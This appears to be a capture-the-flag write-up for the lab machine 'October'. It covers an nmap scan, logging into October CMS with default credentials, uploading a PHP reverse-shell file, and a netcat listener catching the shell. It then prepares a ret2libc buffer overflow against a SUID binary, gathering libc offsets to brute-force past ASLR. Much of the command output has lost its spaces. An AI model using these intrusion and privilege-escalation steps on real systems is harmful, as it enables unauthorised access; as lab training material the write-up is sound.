# Nmap 7.80 scan initiated Tue Oct 1 14:44:28 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 22,80 10.10.10.16Nmapscanreportfor10.10.10.16Hostisup (0.23s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH6.6.1p1Ubuntu2ubuntu2.8 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|102479:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)|204816:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)|256e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)|_25689:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)80/tcpopenhttpApachehttpd2.4.7 ((Ubuntu))|http-methods:|_Potentiallyriskymethods:PUTPATCHDELETE|_http-server-header:Apache/2.4.7 (Ubuntu)|_http-title:OctoberCMS-VanillaWarning:OSScanresultsmaybeunreliablebecausewecouldnotfindatleast1openand1closedportAggressiveOSguesses:Linux3.10-4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%)NoexactOSmatchesforhost (test conditionsnon-ideal).NetworkDistance:2hopsServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelTRACEROUTE (using port80/tcp)HOPRTTADDRESS1233.02ms10.10.14.12233.10ms10.10.10.16OSandServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Tue Oct 1 14:44:51 2019 -- 1 IP address (1 host up) scanned in 22.95 seconds
Enumeration of the web-server ensues.
I was not able to scan for any directories as the connection kept getting timed out, this must have been due to a firewall or something. So I let it be and went ahead with manual exploitation.
It turns out it was running October CMS which is open-source and easily available on Github.
Googling a little about the CMS I came across an interesting directory and credentials. /backend and admin:admin. So I went ahead and tried it.
Under the media section there was an option to upload files, and as per the already available file .php5 was an acceptable extension, so I went ahead and crafted my payload (shell.php5) and uploaded to get shell. The interface also provides with a direct link to the file, so convenient.
$nc-lvnp5555listeningon [any] 5555 ...connectto [10.10.14.10] from (UNKNOWN) [10.10.10.16] 54046Linuxoctober4.4.0-78-generic#99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 i686 i686 GNU/Linux15:20:03up3:18,0users,loadaverage:2.24,2.85,2.88USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh:0:can't access tty; job control turned off$
User own
$cat/home/harry/user.txt29161***
Root own
BUFFER OVERFLOW AHEAD! It was a good practice.
While going through the usual enumeration I came across an unusual SUID binary file.
[*] fst010 Binaries with setuid bit........................................ yes!---/bin/umount/bin/ping/bin/fusermount/bin/su/bin/ping6/bin/mount/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/sudo/usr/bin/newgrp/usr/bin/pkexec/usr/bin/passwd/usr/bin/chfn/usr/bin/gpasswd/usr/bin/traceroute6.iputils/usr/bin/mtr/usr/bin/chsh/usr/bin/at/usr/sbin/pppd/usr/sbin/uuidd/usr/local/bin/ovrflw---[!] fst020 Uncommon setuid binaries........................................ yes!---/usr/local/bin/ovrflw---[!] fst030 Can we write to any setuid binary?.............................. nope
This binary accepted a command line argument string and was to be overflown to get a root shell.
Step 1: Check if ASLR is turned on on the machine or not. Any non-zero number means that ASLR is enabled and binary will be loaded onto different memory addresses every-time it is loaded.
$cat/proc/sys/kernel/randomize_va_space2
Step 2: Get the binary to your own machine and check for other binary protections in place.
So we can not execute code directly off the stack as NX is enabled, so options left are ROP chains, ret2libc, and GOT overwrite.
Step 3: Reverse the binary to understand what is going on. In this case I used Ghidra, you can for sure go ahead and use your own trusted disassembler.
The program was pretty simple, the strcpy was to be exploited and in this case I chose to go ahead with ret2libc because:
There was no write primitive for GOT overwrite.
There weren't enough rop gadgets available for me to construct a complete rop chain till execution and the binary was dynamically linked.
Step 4: This is not a buffer-overflow tutorial so I'll assume few things. In this step we'll find the offset and then find addresses for system, exit, and /bin/sh in libc, the one that program is using. The offset is 112 bytes.
# Getting the libc being used.$ldd/usr/local/bin/ovrflwlinux-gate.so.1 => (0xb777d000)libc.so.6 =>/lib/i386-linux-gnu/libc.so.6 (0xb75c3000)/lib/ld-linux.so.2 (0x80024000)# Finding memory address offset for system and exit$readelf-s/lib/i386-linux-gnu/libc.so.6|grep-e" system@"-e" exit@"139:00033260 (<- HEXOFFSET) 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.01443:00040310 (<- HEXOFFSET) 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0# Finding memory offset for the /bin/sh string$strings-atx/lib/i386-linux-gnu/libc.so.6|grep"/bin/sh"162bac/bin/sh
So now we have offsets, we'll generate the exploit payload.
So as we now, we have ASLR turned on, so the base address of the libc file (0xb75c3000) will keep on changing on every load, so to circumvent this, we'll take an approach of bruteforce, as there's no limitation on how many times this binary runs as this is an independent process in the OS.
Googling around about the tool you are dealing with is an essential step in understanding vectors and potential areas of compromise and buffer overflows are fun.